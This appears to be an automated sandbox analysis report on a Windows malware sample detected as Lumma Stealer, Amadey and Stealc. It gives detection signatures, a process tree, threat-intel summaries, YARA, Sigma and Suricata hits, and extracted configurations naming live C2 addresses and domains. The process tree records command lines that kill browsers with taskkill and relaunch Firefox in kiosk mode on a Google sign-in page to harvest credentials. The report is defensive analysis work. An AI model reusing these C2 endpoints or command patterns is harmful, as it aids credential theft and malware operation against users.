Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1546571
MD5:	3ce8a084a0d153f38580f6df179b0be9
SHA1:	2c4756d7a989761b174cc79913ae4c37e19fff10
SHA256:	af2230310bf32dde9403e6706e93e157a793c90b24db6907e77212b0ce557a4b
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3440 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3CE8A084A0D153F38580F6DF179B0BE9)

CT1ROX8L8OCI432H.exe (PID: 6656 cmdline: "C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe" MD5: 481C8B24C57DA4A1A61F3BA321F84C5C)

R4UI5PZ4W045Z6XA.exe (PID: 1684 cmdline: "C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe" MD5: B2151E57C12C984B6273F6CDC418F523)

skotes.exe (PID: 1848 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: B2151E57C12C984B6273F6CDC418F523)

skotes.exe (PID: 5644 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: B2151E57C12C984B6273F6CDC418F523)

skotes.exe (PID: 2508 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: B2151E57C12C984B6273F6CDC418F523)

21024c5511.exe (PID: 5560 cmdline: "C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe" MD5: 3CE8A084A0D153F38580F6DF179B0BE9)

QEDBGN5ZBSJ2P7FMKVJ.exe (PID: 4428 cmdline: "C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe" MD5: 481C8B24C57DA4A1A61F3BA321F84C5C)

WFFF3RQI4OTCXKCYJD8SM6QSC.exe (PID: 6116 cmdline: "C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe" MD5: B2151E57C12C984B6273F6CDC418F523)

996773cd54.exe (PID: 5644 cmdline: "C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe" MD5: 806FDA7172E2FAF55675DD6F5DD76BB5)

036e90e395.exe (PID: 5316 cmdline: "C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe" MD5: E79F27AB2A69921BB110A37574D7B139)

taskkill.exe (PID: 356 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1708 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6128 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2428 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2436 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 5856 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 6788 cmdline: "C:\Users\user\AppData\Local\Temp\1003096001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

21024c5511.exe (PID: 4228 cmdline: "C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe" MD5: 3CE8A084A0D153F38580F6DF179B0BE9)

NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe (PID: 3992 cmdline: "C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe" MD5: 481C8B24C57DA4A1A61F3BA321F84C5C)

Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe (PID: 6616 cmdline: "C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe" MD5: B2151E57C12C984B6273F6CDC418F523)

firefox.exe (PID: 2448 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5428 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3528 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2184 -parentBuildID 20230927232528 -prefsHandle 2108 -prefMapHandle 2104 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {35e7d4a5-9554-4d22-b10d-2ccb5f3f4d3d} 5428 "\\.\pipe\gecko-crash-server-pipe.5428" 25e7106d910 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3924 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3168 -parentBuildID 20230927232528 -prefsHandle 4244 -prefMapHandle 3936 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {70a663a9-61df-4815-9b94-9c34ad594b81} 5428 "\\.\pipe\gecko-crash-server-pipe.5428" 25e835c8e10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

996773cd54.exe (PID: 3960 cmdline: "C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe" MD5: 806FDA7172E2FAF55675DD6F5DD76BB5)

036e90e395.exe (PID: 5052 cmdline: "C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe" MD5: E79F27AB2A69921BB110A37574D7B139)

taskkill.exe (PID: 5148 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4720 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5316 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6420 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1268 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6128 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 932 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1656 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4160 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2120 -parentBuildID 20230927232528 -prefsHandle 2024 -prefMapHandle 2016 -prefsLen 25350 -prefMapSize 238051 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d420dc28-e6f0-4495-8bd5-85d99979d19a} 1656 "\\.\pipe\gecko-crash-server-pipe.1656" 17424e70310 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 5680 cmdline: "C:\Users\user\AppData\Local\Temp\1003096001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["founpiuer.store", "navygenerayk.store", "necklacedmny.store", "scriptyprefej.store", "fadehairucw.store", "crisiwarny.store", "presticitpo.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Temp\1003096001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000024.00000002.3081504525.0000000000861000.00000080.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000024.00000002.3081627351.000000000087E000.00000002.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000003.2911813021.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000003.2288392617.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000002.2876974078.0000000000C8E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000024.00000000.3066155076.000000000087E000.00000002.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.2819953969.0000000000CD1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000003.2607283101.0000000004B70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000002.2349959438.00000000004D1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2803022659.0000000001301000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000002.2876408637.000000000087E000.00000002.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000023.00000003.3059276891.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.2954765378.00000000010C4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2813065067.00000000009EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000002.2365987556.00000000004D1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000002.2876347937.0000000000861000.00000080.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000000.2857907960.0000000000861000.00000080.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000003.2325690009.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000024.00000000.3066029603.0000000000861000.00000080.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.2771688785.0000000004EB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000003.2933392825.00000000010BF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2328973567.0000000000751000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000002.3000201409.000000000067B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000024.00000002.3084290708.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2123562004.0000000001781000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2123613018.0000000001782000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000002.3005019658.0000000000CD1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000000.2857985543.000000000087E000.00000002.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.2309749751.0000000004890000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 3440	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 3440	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3440	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 21024c5511.exe PID: 5560	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 21024c5511.exe PID: 5560	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 996773cd54.exe PID: 5644	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 996773cd54.exe PID: 5644	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 036e90e395.exe PID: 5316	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 21024c5511.exe PID: 4228	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 21024c5511.exe PID: 4228	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 21024c5511.exe PID: 4228	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: num.exe PID: 6788	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: num.exe PID: 6788	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 996773cd54.exe PID: 3960	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 996773cd54.exe PID: 3960	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: num.exe PID: 5680	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: num.exe PID: 5680	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 42 entries

Unpacked PEs

Source	Rule	Description	Author
26.0.num.exe.860000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
4.2.R4UI5PZ4W045Z6XA.exe.750000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
26.2.num.exe.860000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
29.2.996773cd54.exe.cd0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
10.2.996773cd54.exe.cd0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
36.0.num.exe.860000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
36.2.num.exe.860000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
5.2.skotes.exe.4d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.4d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 2508, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\21024c5511.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 2508, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\21024c5511.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:52:22.115721+0100	2022930	1	A Network Trojan was detected	172.202.163.200	443	192.168.2.5	49713	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:52:06.435018+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	188.114.96.3	443	TCP
2024-11-01T05:52:07.669974+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	188.114.96.3	443	TCP
2024-11-01T05:52:09.395983+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	188.114.96.3	443	TCP
2024-11-01T05:52:10.848830+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	188.114.96.3	443	TCP
2024-11-01T05:52:12.179940+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	188.114.96.3	443	TCP
2024-11-01T05:52:13.921512+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	188.114.96.3	443	TCP
2024-11-01T05:52:15.940258+0100	2028371	3	Unknown Traffic	192.168.2.5	49710	188.114.96.3	443	TCP
2024-11-01T05:52:18.333447+0100	2028371	3	Unknown Traffic	192.168.2.5	49711	188.114.96.3	443	TCP
2024-11-01T05:53:14.007464+0100	2028371	3	Unknown Traffic	192.168.2.5	49986	188.114.96.3	443	TCP
2024-11-01T05:53:15.466266+0100	2028371	3	Unknown Traffic	192.168.2.5	49991	188.114.96.3	443	TCP
2024-11-01T05:53:17.228610+0100	2028371	3	Unknown Traffic	192.168.2.5	49992	188.114.96.3	443	TCP
2024-11-01T05:53:18.639861+0100	2028371	3	Unknown Traffic	192.168.2.5	49993	188.114.96.3	443	TCP
2024-11-01T05:53:20.111039+0100	2028371	3	Unknown Traffic	192.168.2.5	49997	188.114.96.3	443	TCP
2024-11-01T05:53:21.852965+0100	2028371	3	Unknown Traffic	192.168.2.5	49998	188.114.96.3	443	TCP
2024-11-01T05:53:24.376665+0100	2028371	3	Unknown Traffic	192.168.2.5	50000	188.114.96.3	443	TCP
2024-11-01T05:53:25.334167+0100	2028371	3	Unknown Traffic	192.168.2.5	50002	188.114.96.3	443	TCP
2024-11-01T05:53:26.915699+0100	2028371	3	Unknown Traffic	192.168.2.5	50003	188.114.96.3	443	TCP
2024-11-01T05:53:26.964689+0100	2028371	3	Unknown Traffic	192.168.2.5	50004	188.114.96.3	443	TCP
2024-11-01T05:53:28.982801+0100	2028371	3	Unknown Traffic	192.168.2.5	50013	188.114.96.3	443	TCP
2024-11-01T05:53:30.586197+0100	2028371	3	Unknown Traffic	192.168.2.5	50015	188.114.96.3	443	TCP
2024-11-01T05:53:33.528497+0100	2028371	3	Unknown Traffic	192.168.2.5	50020	188.114.96.3	443	TCP
2024-11-01T05:53:37.427102+0100	2028371	3	Unknown Traffic	192.168.2.5	50031	188.114.96.3	443	TCP
2024-11-01T05:53:40.055102+0100	2028371	3	Unknown Traffic	192.168.2.5	50041	188.114.96.3	443	TCP
2024-11-01T05:53:41.643303+0100	2028371	3	Unknown Traffic	192.168.2.5	50042	188.114.96.3	443	TCP
2024-11-01T05:53:58.526532+0100	2028371	3	Unknown Traffic	192.168.2.5	50077	188.114.96.3	443	TCP
2024-11-01T05:54:00.266651+0100	2028371	3	Unknown Traffic	192.168.2.5	50083	188.114.96.3	443	TCP
2024-11-01T05:54:01.491444+0100	2028371	3	Unknown Traffic	192.168.2.5	50084	188.114.96.3	443	TCP
2024-11-01T05:54:02.640530+0100	2028371	3	Unknown Traffic	192.168.2.5	50086	188.114.96.3	443	TCP
2024-11-01T05:54:04.096639+0100	2028371	3	Unknown Traffic	192.168.2.5	50088	188.114.96.3	443	TCP
2024-11-01T05:54:05.753951+0100	2028371	3	Unknown Traffic	192.168.2.5	50090	188.114.96.3	443	TCP
2024-11-01T05:54:08.774003+0100	2028371	3	Unknown Traffic	192.168.2.5	50093	188.114.96.3	443	TCP
2024-11-01T05:54:10.434698+0100	2028371	3	Unknown Traffic	192.168.2.5	50095	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:52:07.015797+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	188.114.96.3	443	TCP
2024-11-01T05:52:08.368376+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	188.114.96.3	443	TCP
2024-11-01T05:52:18.787458+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49711	188.114.96.3	443	TCP
2024-11-01T05:53:14.555838+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49986	188.114.96.3	443	TCP
2024-11-01T05:53:15.963529+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49991	188.114.96.3	443	TCP
